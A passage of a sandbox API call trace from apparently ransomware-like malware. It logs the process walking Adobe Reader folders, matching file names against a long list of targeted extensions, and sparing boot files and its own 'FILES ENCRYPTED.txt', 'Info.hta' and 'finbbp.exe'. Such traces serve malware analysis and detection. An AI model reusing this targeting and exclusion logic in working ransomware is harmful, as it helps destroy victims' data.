(lpString1=".config", lpString2="ings.js") returned -1 [0275.309] lstrlenW (lpString=".cpp") returned 4 [0275.309] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0275.309] lstrlenW (lpString=".cr2") returned 4 [0275.309] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0275.309] lstrlenW (lpString=".crt") returned 4 [0275.309] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0275.310] lstrlenW (lpString=".crw") returned 4 [0275.310] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0275.310] lstrlenW (lpString=".cs") returned 3 [0275.310] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0275.310] lstrlenW (lpString=".css") returned 4 [0275.310] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0275.310] lstrlenW (lpString=".csv") returned 4 [0275.310] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0275.310] lstrlenW (lpString=".cub") returned 4 [0275.310] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0275.310] lstrlenW (lpString=".dae") returned 4 [0275.310] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0275.310] lstrlenW (lpString=".dat") returned 4 [0275.310] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0275.310] lstrlenW (lpString=".db") returned 3 [0275.310] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0275.310] lstrlenW (lpString=".dbf") returned 4 [0275.310] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0275.310] lstrlenW (lpString=".dbx") returned 4 [0275.310] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0275.310] lstrlenW (lpString=".dc3") returned 4 [0275.310] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0275.310] lstrlenW (lpString=".dcm") returned 4 [0275.310] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0275.310] lstrlenW (lpString=".dcr") returned 4 [0275.310] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0275.310] lstrlenW (lpString=".der") returned 4 [0275.310] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0275.310] lstrlenW (lpString=".dib") returned 4 [0275.310] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0275.310] lstrlenW (lpString=".dic") returned 4 [0275.310] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0275.310] lstrlenW (lpString=".dif") returned 4 [0275.310] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0275.310] lstrlenW (lpString=".divx") returned 5 [0275.310] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0275.311] lstrlenW (lpString=".djvu") returned 5 [0275.311] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0275.311] lstrlenW (lpString=".dng") returned 4 [0275.311] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0275.311] lstrlenW (lpString=".doc") returned 4 [0275.311] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0275.311] lstrlenW (lpString=".docm") returned 5 [0275.311] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0275.311] lstrlenW (lpString=".docx") returned 5 [0275.311] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0275.311] lstrlenW (lpString=".dot") returned 4 [0275.311] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0275.311] lstrlenW (lpString=".dotm") returned 5 [0275.311] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0275.311] lstrlenW (lpString=".dotx") returned 5 [0275.311] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0275.311] lstrlenW (lpString=".dpx") returned 4 [0275.311] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0275.311] lstrlenW (lpString=".dqy") returned 4 [0275.311] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0275.311] lstrlenW (lpString=".dsn") returned 4 [0275.311] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0275.311] lstrlenW (lpString=".dt") returned 3 [0275.311] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0275.311] lstrlenW (lpString=".dtd") returned 4 [0275.311] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0275.311] lstrlenW (lpString=".dwg") returned 4 [0275.311] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0275.312] lstrlenW (lpString=".dwt") returned 4 [0275.312] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0275.312] lstrlenW (lpString=".dx") returned 3 [0275.312] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0275.312] lstrlenW (lpString=".dxf") returned 4 [0275.312] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0275.312] lstrlenW (lpString=".edml") returned 5 [0275.312] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0275.312] lstrlenW (lpString=".efd") returned 4 [0275.312] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0275.312] lstrlenW (lpString=".elf") returned 4 [0275.312] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0275.312] lstrlenW (lpString=".emf") returned 4 [0275.312] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0275.312] lstrlenW (lpString=".emz") returned 4 [0275.312] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0275.312] lstrlenW (lpString=".epf") returned 4 [0275.312] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0275.312] lstrlenW (lpString=".eps") returned 4 [0275.312] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0275.312] lstrlenW (lpString=".epsf") returned 5 [0275.312] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0275.312] lstrlenW (lpString=".epsp") returned 5 [0275.312] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0275.312] lstrlenW (lpString=".erf") returned 4 [0275.312] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0275.312] lstrlenW (lpString=".exr") returned 4 [0275.312] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0275.312] lstrlenW (lpString=".f4v") returned 4 [0275.312] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0275.312] lstrlenW (lpString=".fido") returned 5 [0275.312] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0275.312] lstrlenW (lpString=".flm") returned 4 [0275.313] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0275.313] lstrlenW (lpString=".flv") returned 4 [0275.313] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0275.313] lstrlenW (lpString=".frm") returned 4 [0275.313] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0275.313] lstrlenW (lpString=".fxg") returned 4 [0275.313] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0275.313] lstrlenW (lpString=".geo") returned 4 [0275.313] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0275.313] lstrlenW (lpString=".gif") returned 4 [0275.313] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0275.313] lstrlenW (lpString=".grs") returned 4 [0275.313] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0275.313] lstrlenW (lpString=".gz") returned 3 [0275.313] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0275.313] lstrlenW (lpString=".h") returned 2 [0275.313] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0275.313] lstrlenW (lpString=".hdr") returned 4 [0275.313] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0275.313] lstrlenW (lpString=".hpp") returned 4 [0275.313] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0275.313] lstrlenW (lpString=".hta") returned 4 [0275.313] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0275.313] lstrlenW (lpString=".htc") returned 4 [0275.313] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0275.313] lstrlenW (lpString=".htm") returned 4 [0275.313] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0275.313] lstrlenW (lpString=".html") returned 5 [0275.313] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0275.313] lstrlenW (lpString=".icb") returned 4 [0275.313] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0275.313] lstrlenW (lpString=".ics") returned 4 [0275.313] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0275.313] lstrlenW (lpString=".iff") returned 4 [0275.313] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0275.313] lstrlenW (lpString=".inc") returned 4 [0275.314] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0275.314] lstrlenW (lpString=".indd") returned 5 [0275.314] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0275.314] lstrlenW (lpString=".ini") returned 4 [0275.314] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0275.314] lstrlenW (lpString=".iqy") returned 4 [0275.314] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0275.314] lstrlenW (lpString=".j2c") returned 4 [0275.314] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0275.314] lstrlenW (lpString=".j2k") returned 4 [0275.314] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0275.314] lstrlenW (lpString=".java") returned 5 [0275.314] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0275.314] lstrlenW (lpString=".jp2") returned 4 [0275.314] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0275.314] lstrlenW (lpString=".jpc") returned 4 [0275.314] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0275.314] lstrlenW (lpString=".jpe") returned 4 [0275.314] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0275.314] lstrlenW (lpString=".jpeg") returned 5 [0275.314] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0275.314] lstrlenW (lpString=".jpf") returned 4 [0275.314] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0275.314] lstrlenW (lpString=".jpg") returned 4 [0275.314] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0275.314] lstrlenW (lpString=".jpx") returned 4 [0275.314] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0275.314] lstrlenW (lpString=".js") returned 3 [0275.314] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0275.314] lstrlenW (lpString="ui-strings.js") returned 13 [0275.314] lstrlenW (lpString=".love$") returned 6 [0275.314] lstrcmpiW (lpString1=".love$", lpString2="ngs.js") returned -1 [0275.314] lstrlenW (lpString="ui-strings.js") returned 13 [0275.314] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1 [0275.314] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1 [0275.315] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1 [0275.315] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1 [0275.315] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1 [0275.315] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1 [0275.315] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1 [0275.315] lstrcmpiW (lpString1="finbbp.exe", lpString2="ui-strings.js") returned -1 [0275.315] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\da-dk\\ui-strings.js") returned 127 [0275.315] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xb31e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0275.315] FindClose (in: hFindFile=0x33159f0 | out: hFindFile=0x33159f0) returned 1 [0275.315] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0275.315] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0275.315] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\de-de") returned 113 [0275.315] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\de-de") returned 1 [0275.315] lstrlenW (lpString="de-de") returned 5 [0275.315] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="de-de") returned -1 [0275.315] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0275.315] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\de-de") returned 113 [0275.315] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\de-de\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315bf0 [0275.315] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0275.316] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xc8c2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0275.316] lstrlenW (lpString="ui-strings.js") returned 13 [0275.316] lstrlenW (lpString=".1cd") returned 4 [0275.316] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0275.316] lstrlenW (lpString=".3ds") returned 4 [0275.316] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0275.316] lstrlenW (lpString=".3fr") returned 4 [0275.316] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0275.316] lstrlenW (lpString=".3g2") returned 4 [0275.316] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0275.316] lstrlenW (lpString=".3gp") returned 4 [0275.316] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0275.316] lstrlenW (lpString=".7z") returned 3 [0275.316] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0275.316] lstrlenW (lpString=".accda") returned 6 [0275.316] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0275.316] lstrlenW (lpString=".accdb") returned 6 [0275.316] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0275.316] lstrlenW (lpString=".accdc") returned 6 [0275.316] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0275.316] lstrlenW (lpString=".accde") returned 6 [0275.316] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0275.316] lstrlenW (lpString=".accdt") returned 6 [0275.316] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0275.316] lstrlenW (lpString=".accdw") returned 6 [0275.316] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0275.316] lstrlenW (lpString=".adb") returned 4 [0275.316] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0275.316] lstrlenW (lpString=".adp") returned 4 [0275.316] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0275.316] lstrlenW (lpString=".ai") returned 3 [0275.317] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0275.317] lstrlenW (lpString=".ai3") returned 4 [0275.317] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0275.317] lstrlenW (lpString=".ai4") returned 4 [0275.317] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0275.317] lstrlenW (lpString=".ai5") returned 4 [0275.317] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0275.317] lstrlenW (lpString=".ai6") returned 4 [0275.317] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0275.317] lstrlenW (lpString=".ai7") returned 4 [0275.317] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0275.317] lstrlenW (lpString=".ai8") returned 4 [0275.317] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0275.317] lstrlenW (lpString=".anim") returned 5 [0275.317] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0275.317] lstrlenW (lpString=".arw") returned 4 [0275.317] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0275.317] lstrlenW (lpString=".as") returned 3 [0275.317] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0275.317] lstrlenW (lpString=".asa") returned 4 [0275.317] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0275.317] lstrlenW (lpString=".asc") returned 4 [0275.317] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0275.317] lstrlenW (lpString=".ascx") returned 5 [0275.317] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0275.317] lstrlenW (lpString=".asm") returned 4 [0275.317] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0275.317] lstrlenW (lpString=".asmx") returned 5 [0275.317] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0275.317] lstrlenW (lpString=".asp") returned 4 [0275.317] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0275.317] lstrlenW (lpString=".aspx") returned 5 [0275.317] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0275.318] lstrlenW (lpString=".asr") returned 4 [0275.318] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0275.318] lstrlenW (lpString=".asx") returned 4 [0275.318] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0275.318] lstrlenW (lpString=".avi") returned 4 [0275.318] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0275.318] lstrlenW (lpString=".avs") returned 4 [0275.318] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0275.318] lstrlenW (lpString=".backup") returned 7 [0275.318] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0275.318] lstrlenW (lpString=".bak") returned 4 [0275.318] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0275.318] lstrlenW (lpString=".bay") returned 4 [0275.318] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0275.318] lstrlenW (lpString=".bd") returned 3 [0275.318] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0275.318] lstrlenW (lpString=".bin") returned 4 [0275.318] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0275.318] lstrlenW (lpString=".bmp") returned 4 [0275.318] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0275.318] lstrlenW (lpString=".bz2") returned 4 [0275.318] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0275.318] lstrlenW (lpString=".c") returned 2 [0275.318] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0275.318] lstrlenW (lpString=".cdr") returned 4 [0275.318] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0275.318] lstrlenW (lpString=".cer") returned 4 [0275.318] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0275.318] lstrlenW (lpString=".cf") returned 3 [0275.318] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0275.318] lstrlenW (lpString=".cfc") returned 4 [0275.318] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0275.318] lstrlenW (lpString=".cfm") returned 4 [0275.318] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0275.319] lstrlenW (lpString=".cfml") returned 5 [0275.319] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0275.319] lstrlenW (lpString=".cfu") returned 4 [0275.319] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0275.319] lstrlenW (lpString=".chm") returned 4 [0275.319] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0275.319] lstrlenW (lpString=".cin") returned 4 [0275.319] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0275.319] lstrlenW (lpString=".class") returned 6 [0275.319] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0275.319] lstrlenW (lpString=".clx") returned 4 [0275.319] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0275.319] lstrlenW (lpString=".config") returned 7 [0275.319] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0275.319] lstrlenW (lpString=".cpp") returned 4 [0275.319] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0275.319] lstrlenW (lpString=".cr2") returned 4 [0275.319] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0275.319] lstrlenW (lpString=".crt") returned 4 [0275.319] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0275.319] lstrlenW (lpString=".crw") returned 4 [0275.319] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0275.319] lstrlenW (lpString=".cs") returned 3 [0275.319] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0275.319] lstrlenW (lpString=".css") returned 4 [0275.319] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0275.319] lstrlenW (lpString=".csv") returned 4 [0275.319] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0275.319] lstrlenW (lpString=".cub") returned 4 [0275.319] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0275.319] lstrlenW (lpString=".dae") returned 4 [0275.319] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0275.319] lstrlenW (lpString=".dat") returned 4 [0275.320] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0275.320] lstrlenW (lpString=".db") returned 3 [0275.320] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0275.320] lstrlenW (lpString=".dbf") returned 4 [0275.320] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0275.320] lstrlenW (lpString=".dbx") returned 4 [0275.320] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0275.320] lstrlenW (lpString=".dc3") returned 4 [0275.320] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0275.320] lstrlenW (lpString=".dcm") returned 4 [0275.320] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0275.320] lstrlenW (lpString=".dcr") returned 4 [0275.320] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0275.320] lstrlenW (lpString=".der") returned 4 [0275.320] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0275.320] lstrlenW (lpString=".dib") returned 4 [0275.320] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0275.320] lstrlenW (lpString=".dic") returned 4 [0275.320] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0275.320] lstrlenW (lpString=".dif") returned 4 [0275.320] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0275.320] lstrlenW (lpString=".divx") returned 5 [0275.320] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0275.320] lstrlenW (lpString=".djvu") returned 5 [0275.320] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0275.320] lstrlenW (lpString=".dng") returned 4 [0275.320] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0275.320] lstrlenW (lpString=".doc") returned 4 [0275.320] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0275.320] lstrlenW (lpString=".docm") returned 5 [0275.320] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0275.320] lstrlenW (lpString=".docx") returned 5 [0275.320] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0275.320] lstrlenW (lpString=".dot") returned 4 [0275.321] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0275.321] lstrlenW (lpString=".dotm") returned 5 [0275.368] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0275.368] lstrlenW (lpString=".dotx") returned 5 [0275.368] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0275.368] lstrlenW (lpString=".dpx") returned 4 [0275.368] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0275.368] lstrlenW (lpString=".dqy") returned 4 [0275.368] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0275.368] lstrlenW (lpString=".dsn") returned 4 [0275.368] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0275.368] lstrlenW (lpString=".dt") returned 3 [0275.368] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0275.368] lstrlenW (lpString=".dtd") returned 4 [0275.368] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0275.368] lstrlenW (lpString=".dwg") returned 4 [0275.368] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0275.368] lstrlenW (lpString=".dwt") returned 4 [0275.368] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0275.368] lstrlenW (lpString=".dx") returned 3 [0275.368] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0275.369] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xc8c2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0275.369] FindClose (in: hFindFile=0x3315bf0 | out: hFindFile=0x3315bf0) returned 1 [0275.369] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0275.369] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, 